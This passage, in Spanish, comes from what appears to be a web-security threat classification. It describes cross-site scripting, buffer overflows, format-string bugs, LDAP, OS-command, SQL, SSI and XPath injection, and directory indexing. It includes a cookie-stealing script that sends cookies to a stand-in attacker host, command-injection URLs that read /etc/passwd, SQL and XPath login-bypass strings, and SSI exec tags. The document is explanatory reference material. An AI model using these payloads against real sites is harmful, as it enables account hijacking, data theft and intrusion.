contenido fraudulento entregado por el sitio web que está visitando. 
Los ataques de Cross-site Scripting comprometen esencialmente la 
relación de confianza entre el usuario y el sitio web. 
 
Hay dos tipos de ataques Cross-site Scripting, persistentes y no 
persistentes. Los ataques no persistentes requieren que un usuario 
visite un enlace especialmente diseñado que incluye código 
malicioso. Al visitar este enlace, el código incrustado en la URL será 
repetido y ejecutado dentro del navegador web del usuario. Los 
ataques persistentes tienen lugar cuando el código malicioso es 
presentado al sitio web donde se almacena durante un período de 
tiempo. Ejemplos de destinos favoritos de los atacantes a menudo 
incluyen foros, mensajes de correo web y software de chat sobre 
web. Al usuario confiado no se le requiere hacer click en ningún 
enlace, sólo simplemente ver la página web conteniendo el código. 
 
Ejemplo 
 
Ataque persistente 
Muchos sitios web hospedan boletines de noticias donde usuarios 
registrados pueden publicar mensajes. A un usuario registrado 
comúnmente se le sigue la pista usando una cookie de ID de sesión 
autorizándole para publicar mensajes. Si un atacante publicó un 
mensaje conteniendo un javascript hábilmente construido, un usuario 
leyendo este mensaje podría tener sus cookies y su cuenta 
comprometidas. 
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Fragmento de código de robo de cookie:  
 
<SCRIPT> 
document.location= 
'http://attackerhost.example/cgi-bin/ 
cookiesteal.cgi?'+document.cookie 
</SCRIPT> 
 
 
Ataque no persistente 
Numerosos portales web ofrecen una visión personalizada de un sitio 
web y saludan a un usuario autenticado con el mensaje “Bienvenido 
<su nombre de usuario>”. Algunas veces el dato que referencia al 
usuario autenticado es almacenado dentro de la cadena de consulta 
de la URL y mostrado en la pantalla. 
  
Ejemplo de URL de portal 
http://portal.example/index.php?sessionid=12312312&
username=Joe 
 
En el ejemplo anterior vemos que el nombre de usuario “Joe” es 
almacenado en la URL. La página web resultante muestra un 
mensaje de “Bienvenido Joe”. Si un atacante hubiera modificado el 
campo del nombre de usuario en la URL, insertando un javascript de 
robo de cookie, sería posible ganar el control de la cuenta de 
usuario. 
 
Un gran porcentaje de gente sospecharía si vieran javascript 
incrustado en la URL, por lo que la mayor parte de las veces un 
atacante codificará en la URL su carga de código malicioso de forma 
similar al siguiente ejemplo. 
  
Ejemplo de una URL codificada de robo de cookie:  
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
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%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E 
 
Ejemplo decodificado de una URL de robo de cookie: 
http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attacker
host.example/cgi-
bin/cookiesteal.cgi?'+document.cookie</script> 
 
 
Referencias 
“CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in 
Client Web Requests” 
http://www.cert.org/advisories/CA-2000-02.html  
 
“The Cross Site Scripting FAQ” – CGISecurity.com 
http://www.cgisecurity.com/articles/xss-faq.shtml  
 
“Cross Site Scripting Info” 
http://httpd.apache.org/info/css-security/ 
 
“24 Character entity references in HTML 4” 
http://www.w3.org/TR/html4/sgml/entities.html 
 
“Understanding Malicious Content Mitigation for Web Developers” 
http://www.cert.org/tech_tips/malicious_code_mitigation.html 
 
“Cross-site Scripting: Are your web applications vulnerable?”, By 
Kevin Spett – SPI Dynamics 
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf  
 
“Cross-site Scripting Explained”, By Amit Klein - Sanctum 
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf 
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“HTML Code Injection and Cross-site Scripting”, By Gunter Ollmann 
http://www.technicalinfo.net/papers/CSS.html 
 
 

4  E j e c u c i ó n  d e  c o m a n d o s  
El capítulo “Ejecución de comandos” abarca los ataques diseñados 
para ejecutar comandos remotos en el sitio web. Todos los sitios web 
utilizan datos suministrados por el usuario para satisfacer peticiones. 
A menudo los datos facilitados por el usuario son usados para crear 
comandos de construcción resultando en contenido dinámico de una 
página web. Si este proceso es hecho de forma no segura, un 
atacante puede alterar la ejecucion de comandos. 
 

4.1 Desbordamiento de buffer 
La explotación de un  desbordamiento de buffer es un ataque que 
altera el flujo de una aplicación sobreescribiendo partes de la 
memoria. El desbordamiento de buffer es un defecto común del 
software, que resulta en una condición de error. Esta condición de 
error ocurre cuando los datos escritos en la memoria exceden el 
tamaño reservado en el buffer. Cuando el buffer es desbordado, 
direcciones de memoria adyacentes son sobreescritas causando que 
el software falle o termine de manera inesperada. Cuando es sin 
restricción el ingreso de datos, realizado de una manera 
determinada, puede ser usado para desbordar el buffer resultando en 
varios problemas de seguridad. 
 
Un desbordamiento de buffer puede ser usado como un ataque de 
denegación de servicio cuando la memoria es corrompida, resultando 
en un fallo del software. Aún más critico es la capacidad de un 
ataque de desbordamiento de buffer para alterar el flujo de una 
aplicación y forzar acciones involuntarias. Este escenario puede 
ocurrir de muchas formas. Las vulnerabilidades de desbordamiento 
de buffer han sido usadas para sobreescribir punteros de pila y 
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redirigir el programa para ejecutar intrucciones maliciosas. Los 
desbordamientos de buffer también han sido usados para cambiar 
variables del programa. 
 
Las vulnerabilidades de desbordamiento de buffer se han vuelto 
bastante comunes en el sector de la seguridad informática y  han 
acaparado los servidores web con frecuencia. Sin embargo, ellas no 
han sido comúnmente vistas o explotadas en la misma capa de 
aplicación. La razón principal es que un atacante necesita analizar el 
código fuente de la aplicación o el archivo binario del software. Dado 
que el atacante debe explotar código a medida en un sistema 
remoto, tendría que ejecutar el ataque de forma  ciega, siendo muy 
dificil conseguir el éxito esperado. 
 
Las vulnerabilidades de desbordamiento de buffer ocurren 
generalmente en lenguajes de programación como C y C++. Un 
desbordamiento de buffer puede ocurrir en un programa CGI o 
cuando una página web accede a un programa en C. 
 
 
Referencias 
“Inside the Buffer Overflow Attack: Mechanism, Method and 
Prevention”, By Mark E. Donaldson - GSEC 
http://www.sans.org/rr/code/inside_buffer.php 
 
“w00w00 on Heap Overflows”, By Matt Conover - w00w00 Security 
Team 
http://www.w00w00.org/files/articles/heaptut.txt 
 
“Smashing The Stack For Fun And Profit”, By Aleph One - Phrack 49 
http://www.insecure.org/stf/smashstack.txt 
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4.2 Ataques de formato de cadena 
Los ataques de formato de cadena alteran el flujo de una aplicacion 
usando funcionalidades de librerías de formatos de cadena para 
acceder a otros espacios de memoria. 
 
Las vulnerabilidades ocurren cuando los datos facilitados por el 
usuario son usados directamente como parámetros de formato de 
cadenas de ciertas funciones de C/C++ (por ejemplo: fprintf, 
printf, sprintf, setproctitle, syslog, ...). 
 
Si un atacante pasa un formato de cadena consistiendo en 
caracteres de conversión de printf (por ejemplo: "%f", "%p", "%n", 
etc.) como un valor de parámetro hacia la aplicación web, podría: 
 

• Ejecutar código arbitrario en el servidor  
• Leer los valores de la pila 
• Causar fallos de segmentación/terminación inesperada del 

softwarare. 
 

 
Ejemplo 
Asumamos que una aplicacion web tiene un parámetro 
emailAddress, facilitado por el usuario. La aplicación muestra el 
valor de esta variable usando la funcion printf: 
 
 
printf(emailAddress); 
 
 
Si el valor enviado en el parámetro emailAddress tiene caracteres 
de conversión, printf interpretará la conversión de caracteres y 
usará los correspondientes argumentos especificados 
adicionalmente. Si estos argumentos no existen realmente, datos de 
la pila serán usados de acuerdo al orden esperado por la función 
printf. 
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Los posibles usos de un ataque de formato de cadena en tales 
casos, pueden ser: 
 

• Leer datos de la pila: si la salida de la función printf es 
mostrada al atacante, este podría leer valores de la pila 
enviando caracteres de conversión "%x" (una o varias veces). 

• Leer cadenas de caracteres de la memoria del proceso: si la 
salida de la función printf es mostrada al atacante, este 
podría leer cadenas de caracteres de posiciones arbitrarias de 
memoria usando el caracter de conversión "%s" (y otros 
caracteres de conversión con el objectivo de alcanzar 
posiciones específicas). 

• Escribir un entero en posiciones de la memoria del proceso: 
usando el caracter de conversión "%n", un atacante podría 
escribir un valor entero en cualquier posición de la memoria. 
(por ejemplo: sobreescribir banderas importantes del programa 
que controlan privilegios de acceso, o sobreescribir direcciones 
de retorno en la pila, etc.) 

 
 
Referencias 
“(Maybe) the first publicly known Format Strings exploit” 
http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html 
 
“Analysis of format string bugs”, By Andreas Thuemmel 
http://downloads.securityfocus.com/library/format-bug-analysis.pdf 
 
“Format string input validation error in wu-ftpd site_exec() function” 
http://www.kb.cert.org/vuls/id/29823 
 

4.3 Inyección LDAP 
La inyeccion LDAP es una técnica de ataque usada para explotar 
sitios web que contruyen sentencias LDAP directamente desde datos 
facilitados por el usuario. 
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Lightweight Directory Access Protocol (LDAP) es un protocolo 
estándar abierto para consultar y manipular servicios de directorio 
X.500. El protocolo LDAP se ejecuta sobre protocolos de transporte 
de Internet, como es TCP. Las aplicaciones web pueden usar datos 
facilitados por el usuario para crear sentencias LDAP para peticiones 
de páginas web dinámicas. 
 
Cuando una aplicación web no realiza un saneamiento adecuado de 
los datos facilitados por el usuario, es posible para un atacante 
alterar la contrucción de la sentencia LDAP. Cuando un atacante 
puede modificar una sentencia LDAP, el proceso se ejecutará con los 
mismos permisos del componente que ejecutó el comando. (por 
ejemplo: servidor de base de datos, servidor de aplicación web, 
servidor web, etc.). Esto puede causar graves problemas de 
seguridad donde los permisos establecen derechos de consulta, 
modificación o eliminación de cualquier elemento dentro del árbol 
LDAP. 
 
Las mismas técnicas avanzadas de explotación disponibles para 
inyección de código SQL pueden ser aplicadas de forma similar a la  
inyección LDAP. 
 
Ejemplo 
 
Código vulnerable con comentarios: 
 
line 0: <html> 
line 1: <body> 
line 2: <%@ Language=VBScript %> 
line 3: <% 
line 4:  Dim userName 
line 5:  Dim filter 
line 6:  Dim ldapObj 
line 7:  
line 8:  Const LDAP_SERVER = "ldap.example" 
line 9:  
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line 10:  userName = Request.QueryString("user") 
line 11:  
line 12:  if( userName = "" ) then 
line 13:   Response.Write("<b>Invalid 
request. Please specify a 
valid user name</b><br>") 
line 14:   Response.End() 
line 15:  end if 
line 16:  
line 17:  
line 18:  filter = "(uid=" + CStr(userName) + 
")"  ' searching 
for the user entry 
line 19:  
line 20:  
line 21:  'Creating the LDAP object and setting 
the base dn 
line 22:  Set ldapObj = 
Server.CreateObject("IPWorksASP.LDAP") 
line 23:  ldapObj.ServerName = LDAP_SERVER 
line 24:  ldapObj.DN = 
"ou=people,dc=spilab,dc=com" 
line 25:  
line 26:  'Setting the search filter 
line 27:  ldapObj.SearchFilter = filter 
line 28:  
line 29:  ldapObj.Search 
line 30:  
line 31:  'Showing the user information 
line 32:  While ldapObj.NextResult = 1 
line 33:   Response.Write("<p>") 
line 34:  
line 35:   Response.Write("<b><u>User 
information for : " + 
ldapObj.AttrValue(0) + "</u></b><br>") 
line 36:   For i = 0 To ldapObj.AttrCount -1 
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line 37:    Response.Write("<b>" + 
ldapObj.AttrType(i) + 
"</b> : " + ldapObj.AttrValue(i) + "<br>" ) 
line 38:   Next 
line 39:   Response.Write("</p>") 
line 40:  Wend 
line 41: %> 
line 42: </body> 
line 43: </html> 
 
 
Viendo el código, observamos en la linea 10 que la variable 
userName está inicializada con el valor del parámetro usuario y 
luego rápidamente validada para ver si el valor es nulo. Si el valor no 
es nulo, la variable userName es usada para inicializar la variable 
filter en la linea 18. Esta nueva variable es utilizada directamente 
para construir una consulta LDAP que será usada en la llamada a 
SearchFilter en la linea 27. En este escenario, el atacante tiene 
control completo sobre lo que será consultado en el servidor LDAP, y 
obtendrá el resultado de la consulta cuando el código llegue de la 
linea 32 hasta la 40, donde todos los resultados y sus atributos son 
mostrados al usuario. 
 
Ejemplo de ataque 
 
http://example/ldapsearch.asp?user=* 
 
En el ejemplo anterior, enviamos el caracter * en el parámetro user 
el cual acabará en la variable filter en el código que será 
inicializado con (uid=*). La sentencia LDAP resultante hará retornar 
al servidor cualquier objeto que contenga un atributo uid. 
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Referencias 
“LDAP Injection: Are Your Web Applications Vulnerable?”, By Sacha 
Faust – SPI Dynamics 
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf 
 
“A String Representation of LDAP Search Filters” 
http://www.ietf.org/rfc/rfc1960.txt 
 
“Understanding LDAP” 
http://www.redbooks.ibm.com/redbooks/SG244986.html 
 
“LDAP Resources” 
http://ldapman.org/ 
 

4.4 Comandos de sistema operativo 
El uso de comandos de sistema operativo es una técnica de ataque 
utilizada para explotar sitios web que ejecutan comandos de sistema 
operativo, a través de la manipulacion de las entradas a la aplicacion. 
 
Cuando una aplicación web no realiza de forma adecuada el 
saneamiento de los datos facilitados por el usuario antes de usarlos 
en el código de la aplicación, es posible engañar a la aplicación para 
que ejecute comandos de sistema operativo. Los comandos serán 
ejecutados con los mismos permisos del componente que ejecutó el 
comando (por ejemplo: servidor de base de datos, servidor de 
aplicaciones web, servidor web, etc.) 
 
 
Ejemplo 
Perl permite redireccionar datos desde un proceso hacia una 
sentencia open, esto se hace agregando un caracter '|'  al final del 
nombre de un archivo. 
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Ejemplos de redireccionamiento con el carácter '|': 
 
# Execute "/bin/ls" and pipe the output to the 
open statement 
open(FILE, "/bin/ls|") 
 
 
Las aplicaciones web normalmente incluyen parámetros que 
especifican un archivo que es mostrado o usado como plantilla. Si la 
aplicación web no realiza de forma adecuada el saneamiento de los 
datos facilitados por el usuario, un atacante podría modificar el valor 
del parámetro para incluir un comando shell seguido por el símbolo 
de redireccionamiento (mostrado arriba). 
 
Si la URL original de la aplicación web es: 
http://example/cgi-
bin/showInfo.pl?name=John&template=tmp1.txt   
 
Modificando el valor del parámetro template, el atacante puede 
engañar a la aplicación web para ejecutar el comando /bin/ls: 
 
http://example /cgi-
bin/showInfo.pl?name=John&template=/bin/ls| 
 
La  mayoría de los lenguajes de script permiten a los programadores 
ejecutar comandos de sistema operativo durante la ejecución de la 
aplicación, usando varias funciones exec. Si la aplicación web 
permite que los datos facilitados por el usuario sean usados en las 
llamadas a esas funciones directamente, sin ser saneados de la 
forma apropiada, sería posible para un atacante ejecutar comandos 
de sistema operativo de forma remota. Por ejemplo, a continuación 
se expone una parte de un script PHP el cual muestra el contenido 
de un directorio de sistema (en sistemas Unix): 
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Ejecuta un comando shell: 
 
exec("ls -la $dir",$lines,$rc); 
 
 
Agregando un punto y coma (;) seguido por un comando de sistema 
operativo, es posible forzar a la aplicación web a ejecutar un 
segundo comando: 
 
http://example/directory.php?dir=%3Bcat%20/etc/pass
wd 
 
El resultado mostrará el contenido del fichero /etc/passwd. 
 
 
Referencias 
“Perl CGI Problems", By RFP - Phrack Magazine, Issue 55 
http://www.wiretrip.net/rfp/txt/phrack55.txt  
(See "That pesky pipe" section) 
 
“Marcus Xenakis directory.php Shell Command Execution 
Vulnerability” 
http://www.securityfocus.com/bid/4278 
 
“NCSA Secure Programming Guidelines” 
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programmin
g/#cgi 
 

4.5 Inyección de código SQL 
La inyeccion de código SQL es una técnica de ataque usada para 
explotar sitios web que construyen sentencias SQL directamente a 
partir de datos facilitados por el usuario. 
 

Structured Query Language (SQL) es un lenguaje especializado de 
programación para realizar consultas a bases de datos. La mayoría 
de las aplicaciones de base de datos, ya sean pequeñas o grandes, 
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pueden ser accedidas usando sentencias SQL. SQL es un estándar 
ISO y ANSI. Sin embargo, muchos productos de base de datos que 
soportan SQL lo hacen con extensiones al estándar. Las 
aplicaciones web pueden usar datos facilitados por el usuario para 
crear sentencias SQL para peticiones de páginas web dinámicas. 
 
Cuando una aplicación web no realiza de la forma apropiada el 
saneamiento de los datos facilitados por el usuario, es posible para 
un atacante alterar la contrucción de las sentencias SQL. Cuando el 
atacante puede modificar una sentencia SQL, el proceso se 
ejecutará con los mismos permisos que el componente que ejecutó 
el comando (por ejemplo: servidor de base de datos, servidor de 
aplicaciones web, servidor web, etc.). El impacto de este ataque le 
puede permitir al atacante obtener control total sobre la base de 
datos o también ejecutar comandos en el sistema. 
 
Las mismas técnicas de explotación avanzadas disponibles en la 
inyección LDAP pueden ser aplicadas de forma similar en la 
inyección de código SQL. 
 
Ejemplo 
Una autenticación basada en web podría usar un código similar al 
siguiente: 
 
 
SQLQuery = "SELECT Username FROM Users WHERE 
Username = '" & strUsername & "' AND Password = '" 
& strPassword & "'" strAuthCheck = 
GetQueryResult(SQLQuery) 
 
 
En este código, el desarrollador está tomando los datos facilitados 
por el usuario desde el formulario y concatenándolos directamente 
en la consulta SQL. 
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Suponiendo que un atacante envía un usuario y contraseña similares 
a los siguientes: 
 
    Login: ' OR ''=' 
    Password: ' OR ''=' 
 
Esto provocará que la consulta SQL resultante sea: 
 
 
SELECT Username FROM Users WHERE Username = '' OR 
''='' AND Password = '' OR ''='' 
 
 
En lugar de comparar los datos suministrados por el usuario con las 
entradas en la tabla Users, la consulta compara '' (cadena vacía) 
con '' (cadena vacía). Esto devolverá un resultado True y el 
atacante iniciará sesión con el primer usuario de la tabla Users. 
 
Existen dos métodos ampliamente conocidos de inyección de código 
SQL: inyección normal de código SQL e inyección ciega de código 
SQL. El primero es la inyección de código SQL en la cual el atacante 
puede formatear su consulta para emparejarla con la del 
desarrollador, utilizando la información contenida en los mensajes de 
error que son devueltos en la respuesta. 

 
Inyección normal de código SQL 
Agregando una sentencia union select al parámetro, el atacante 
puede realizar pruebas para ver si puede obtener acceso a la base 
de datos: 
 
http://example/article.asp?ID=2+union+all+select+na
me+from+sysobjects 
 
El servidor SQL podría retornar un error similar al siguiente:  
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Microsoft OLE DB Provider for ODBC Drivers error 
'80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]All 
queries in an SQL statement containing a UNION 
operator must have an equal number of expressions 
in their target lists.  
 
  
Esto le informa  al atacante que ahora debe adivinar el número 
correcto de columnas para que la sentencia SQL se ejecute 
correctamente. 
 
 
Inyección ciega de código SQL 
En la inyección ciega de código SQL, en vez de retornar un error de 
base de datos, el servidor retorna una página de error amigable al 
usuario, informándole que ha ocurrido un error. En este escenario, la 
inyección de codigo SQL todavía es posible, pero no es sencilla de 
detectar. Una forma habitual de detectar la inyección ciega de código 
SQL es añadir una sentencia de verdadero o falso en el valor del 
parámetro. 
 
Ejecutando la siguiente petición en un sitio web: 
 
http://example/article.asp?ID=2+and+1=1 
 
debería retornar la misma página web que: 
 
http://example/article.asp?ID=2  
 
porque la sentencia SQL 'and 1=1' siempre es verdadera.  
 
Ejecutando la siguiente petición en un sitio web: 
 
http://example/article.asp?ID=2+and+1=0  
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causaría que el sitio web retornara un error amigable o ninguna 
página. Esto es así porque la sentencia SQL "and 1=0" siempre es 
falsa. 
 
Una vez que el atacante descubre que un sitio es vulnerable a 
inyección ciega de código SQL, puede explotar esta vulnerabilidad 
más fácilmente que, en algunos casos, usando inyección normal de 
código SQL. 
 
 
Referencias 
“SQL Injection: Are your Web Applications Vulnerable” – SPI 
Dynamics 
http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInj
ection.pdf 
 
“Blind SQL Injection: Are your Web Applications Vulnerable” – SPI 
Dynamics 
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection
.pdf 
 
“Advanced SQL Injection in SQL Server Applications”, Chris Anley - 
NGSSoftware 
http://www.nextgenss.com/papers/advanced_sql_injection.pdf 
 
“More advanced SQL Injection”, Chris Anley - NGSSoftware 
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf 
 
“Web Application Disassembly with ODBC Error Messages”, David 
Litchfield - @stake 
http://www.nextgenss.com/papers/webappdis.doc 
 
“SQL Injection Walkthrough” 
http://www.securiteam.com/securityreviews/5DP0N1P76E.html 
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“Blind SQL Injection” - Imperva 
http://www.imperva.com/application_defense_center/white_papers/bli
nd_sql_server_injection.html 
 
“SQL Injection Signatures Evasion” - Imperva 
http://www.imperva.com/application_defense_center/white_papers/sq
l_injection_signatures_evasion.html 
 
“Introduction to SQL Injection Attacks for Oracle Developers” - 
Integrigy 
http://www.net-
security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf 
 
 

4.6 Inyección de código SSI  
La inyección de código SSI (server-side Include) es una técnica de 
explotación en la parte del servidor que permite a un atacante enviar 
código a la aplicación web, el cual será luego ejecutado localmente 
por el servidor. La inyección de código SSI explota la vulnerabilidad 
introducida por una aplicacion web que no realiza de forma adecuada 
el saneamiento de los datos facilitados por el usuario, antes de que 
sean insertados en un archivo HTML interpretado por el servidor. 
 
Antes de servir una pagina web HTML, un servidor web puede 
interpretar y ejecutar sentencias SSI. En algunos casos (por ejemplo: 
foros, libros de visitas, sistemas de administracion de contenido, etc.) 
una aplicación web insertará los datos facilitados por el usuario en el 
código fuente de una página web. 
 
Si un atacante envia una sentencia SSI, podría tener la capacidad de 
ejecutar comandos arbitrarios de sistema operativo, o incluir el 
contenido de un archivo restringido la siguiente vez que la página 
sea servida. 
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Ejemplo 
 
La siguiente etiqueta SSI puede permitir a un atacante obtener el 
listado del directorio raíz en un sistema basado en Unix. 
 
 
<!--#exec cmd="/bin/ls /" --> 
 
 
 
La siguiente etiqueta SSI puede permitir a un atacante obtener la 
cadena de conexión a la base de datos, u otros datos sensibles que 
se encuentren dentro de un archivo de configuracion de .NET. 
 
 
<!--#INCLUDE VIRTUAL="/web.config"--> 
 
 
 
 
Referencias 
“Server Side Includes (SSI)” – NCSA HTTPd 
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html 
 
“Security Tips for Server Configuration” – Apache HTTPD 
http://httpd.apache.org/docs/misc/security_tips.html#ssi 
 
“Header Based Exploitation: Web Statistical Software Threats” – 
CGISecurity.com 
http://www.cgisecurity.net/papers/header-based-exploitation.txt 
 
“A practical vulnerability analysis” 
http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.
htm 
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4.7 Inyección XPath  
La inyección XPath es una técnica de ataque usada para explotar 
sitios web que construyen consultas XPATH directamente a partir de 
datos facilitados por los usuarios. 
 
XPath 1.0 es un lenguaje usado para referirse a partes de un 
documento XML. Puede ser usado directamente por una aplicación 
para consultar un documento XML, o como parte de una operación 
mayor como aplicar una transformacion XSLT a un documento XML, 
o aplicando una XQuery a un documento XML. 
 
La sintaxis tiene una cierta semejanza a una consulta SQL, y de 
hecho, es posible formar consultas tipo SQL en un documento XML 
usando XPath. Por ejemplo, supongamos que un documento XML 
contiene elementos de nombre user, cada uno de los cuales 
contiene tres sub elementos - name, password y account. La 
siguiente expresion XPatch retorna el número de cuenta del usuario 
cuyo nombre es "jsmith" y su contraseña es "Demo1234" (o retorna 
una cadena vacía si no existe el usuario) 
 
 
string(//user[name/text()='jsmith' and  
password/text()='Demo1234']/account/text()) 
 
 
Si una aplicación construye consultas XPath de forma dinámica 
concatenando datos inseguros facilitados por el usuario, resulta 
posible para un atacante inyectar datos en la consulta que permitan 
que la nueva consulta formada con esos datos sea interpretada de 
forma diferente a la intención del programador. 
 
Ejemplo 
Consideremos una aplicación web que usa XPath para consultar un 
documento XML y obtener el número de cuenta a partir de un usuario 
y contraseña enviados por el cliente. Esta aplicación podría 
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concatenar directamente estos valores en la consulta XPath creando 
un agujero de seguridad. 
 
Ejemplo (usando Microsoft ASP.NET y C#): 
 
XmlDocument XmlDoc = new XmlDocument(); 
XmlDoc.Load("..."); 
 
XPathNavigator nav = XmlDoc.CreateNavigator(); 
XPathExpression expr =  
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"' 
and password/text()='"+TextBox2.Text+ 
"']/account/text())"); 
 
String account=Convert.ToString(nav.Evaluate(expr));  
if (account=="") { 
 // name+password pair is not found in the XML document 
–  
 // login failed. 
  
} else { 
 // account found -> Login succeeded.  
 // Proceed into the application. 
} 
 
 
 
Cuando este código es ejecutado, un atacante puede inyectar 
expresiones XPath, como por ejemplo: facilitando el siguiente valor 
como nombre de usuario: 
 
' or 1=1 or ''=' 
 
Esto causa que la semántica del XPath original cambie, por eso 
siempre retorna el primer número de cuenta en el documento XML.  
 
La consulta en este caso será: 
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string(//user[name/text()='' or 1=1 or ''='' and  
password/text()='foobar']/account/text()) 
 
 
La cual es idéntica (dado que la expresión es evaluada como 
verdadera en todos los nodos) a: 
 
string(//user/account/text()) 
 
y retorna la primera instancia de //user/account/text(). 
 

El ataque resulta en que el atacante inicia sesión (como el primer 
usuario listado en el documento XML), aunque el atacante no facilite 
ningún nombre de usuario y contraseña válidos. 
 
 
Referencias 
"XML Path Language (XPath) Version 1.0” - W3C Recommendation, 
16 Nov 1999 
http://www.w3.org/TR/xpath 
 
“Encoding a Taxonomy of Web Attacks with Different-Length Vectors” 
- G. Alvarez and S. Petrovic 
http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf 
 
"Blind XPath Injection" - Amit Klein 
http://www.sanctuminc.com/pdfc/WhitePaper_Blind_XPath_Injection_
20040518.pdf 
 
 

5  R e v e l a c i ó n  d e  i n f o rm a c i ó n  
El capítulo “Revelación de información” aborda los ataques 
diseñados para adquirir información específica del sistema sobre un 
sitio web. La información específica del sistema incluye la 
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distribución de software, números de versión y niveles de parcheado. 
La información puede contener la ubicación de ficheros de backup y 
ficheros temporales. En muchos casos, no se requiere la divulgación 
de esta información para llevar a cabo las necesidades del usuario. 
La mayoría de sitios web revelarán un cierta cantidad de datos, pero 
lo mejor es limitar, siempre que se aposible, la cantidad de datos que 
pueden ser revelados. Cuanta más información acerca del sitio web 
disponga el atacante, más fácil le resultará comprometer el sistema. 
 

5.1 Indexación de directorio 
El listado/indexación automática de directorio es una función del 
servidor web que lista todos los ficheros del directorio solicitado si el 
fichero índice habitual (index.html/home.html/default.htm) no 
está presente. Cuando un usuario solicita la página principal de un 
sitio web, normalmente escribe una URL como la siguiente: 
http://www.example – usando el nombre de dominio y 
excluyendo un fichero específico. El servidor web procesa esta 
petición y busca en el directorio raíz del sitio web el nombre por 
defecto del fichero índice y envía esta página al cliente. Si la página 
no se encuentra, el servidor web obtendrá un listado del directorio y 
enviará la salida al cliente. Esencialmente, esto es equivalente a 
ejecutar un comando “ls” (en sistemas Unix) o “dir” (en sistemas 
Windows) en este directorio, mostrando los resultados en formato 
HTML. Desde la perspectiva de un ataque y su contramedida, es 
importante comprender que los listados no intencionados de 
directorio pueden ser llevados a cabo debido a vulnerabilidades del 
software (discutido en el apartado “Ejemplo” mostrado más abajo) 
combinado con una petición web específica. 
 
Cuando un servidor web revela contenidos de un directorio, el listado 
podría contener información que no se espera ser vista de forma 
pública. A menudo, los administradores web delegan la seguridad en 
la llamada “seguridad a través de oscuridad” asumiendo que si no 
existen enlaces a estos recursos, no serán encontrados o nadie los 
buscará. La suposición es incorrecta. Hoy en día, escáneres de 
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vulnerabilidades, como Nikto, dinámicamente pueden añadir 
directorios/archivos adicionales para incluir en su exploración,  
basándose en datos obtenidos en pruebas iniciales. Revisando el 
fichero /robots.txt y/o viendo el contenido de la indexación de 
directorios, el escáner de vulnerabilidades puede ahora ir más allá, 
realizando peticiones al servidor web con estos nuevos datos. 
Aunque pueda parecer inofensivo, la indexación de directorio puede 
permitir una fuga de información que proporcione a un atacante la 
información necesaria para lanzar nuevos ataques contra el sistema. 
 
Ejemplo 
La siguiente información podría ser obtenida a partir de la indexación 
de un directorio: 
 

• Ficheros de copias de seguridad – con extensiones como .bak, 
.old o .orig 

• Ficheros temporales – son ficheros que normalmente son 
eliminados por el servidor pero que, por cualquier motivo, se 
encuentran aún disponibles. 

• Ficheros ocultos – con nombres de fichero que comienzan por 
"." 

• Convenciones de nombres – un atacante puede ser capaz de 
identificar el esquema de composición utilizado por el sitio web 
para nombrar directorios o ficheros. Ejemplo: Admin o admin, 
backup o back-up, etc... 

• Enumeración de cuentas de usuario – a menudo, las cuentas 
personales de usuario en un servidor web tienen como nombre 
del directorio personal el mismo que el de la cuenta de usuario. 

• Contenido de ficheros de configuración – estos ficheros pueden 
contener datos de control de acceso y utilizan extensiones 
como .conf, .cfg o .config 

• Contenido script – La mayoría de servidores web permiten la 
ejecución de scripts ya sea especificando la ubicación del script 
(por ejemplo /cgi-bin) o configurando el servidor para que 
intente ejecutar ficheros basándose en sus permisos (por 
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ejemplo, el bit de ejecución en sistemas *nix y el uso de la 
directiva XBitHack de Apache).  Debido a estas opciones, si se 
permite la indexación de contenidos del directorio cgi-bin, es 
posible bajar/revisar el código script si los permisos no son 
correctos.  

 
Existen tres escenarios distintos donde un atacante puede disponer 
de la capacidad de recuperar un listado/indexación de directorio  de 
forma no esperada: 

1) El servidor web está deficientemente configurado y 
permite/proporciona la indexación de directorios. La confusión 
puede surgir cuando un administrador web se encuentra 
configurando las directivas de indexación en el fichero de 
configuración. Es posible tener un resultado no deseado 
cuando se implementan configuraciones complejas, como 
cuando se desea permitir la indexación de directorio para un 
subdirectorio específico y se rechaza para el resto del servidor. 
Desde la perspectiva del atacante, la petición HTTP es idéntica 
a la descrita previamente.  El atacante realiza una petición 
sobre un directorio y observa si se recibe el contenido 
deseado. No le preocupa el “porqué” de que el servidor web se 
encuentre configurado de esta manera. 

 
2) Algunos componentes del servidor web permiten indexación de 

directorio incluso si se encuentra deshabilitada en el fichero de 
configuración o si una página índice está presente. Este es el 
único escenario de ejemplo válido para la explotación de la 
indexación de directorio. Hay numerosas vulnerabilidades 
identificadas en muchos servidores web, que causan una 
indexación de directorio si se envían peticiones HTTP 
específicas. 

 
3) La base de datos de caché de Google puede contener datos 

históricos que pueden incluir indexaciones de directorios de 
exploraciones pasadas de un sitio web específico. 
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Referencias 
Directory Indexing Vulnerability Alerts 
http://www.securityfocus.com/bid/1063 
http://www.securityfocus.com/bid/6721 
http://www.securityfocus.com/bid/8898 
 
Nessus "Remote File Access" Plugin Web page 
http://cgi.nessus.org/plugins/dump.php3?family=Remote%20file%20a
ccess 
 
Web Site Indexer Tools 
http://www.download-freeware-
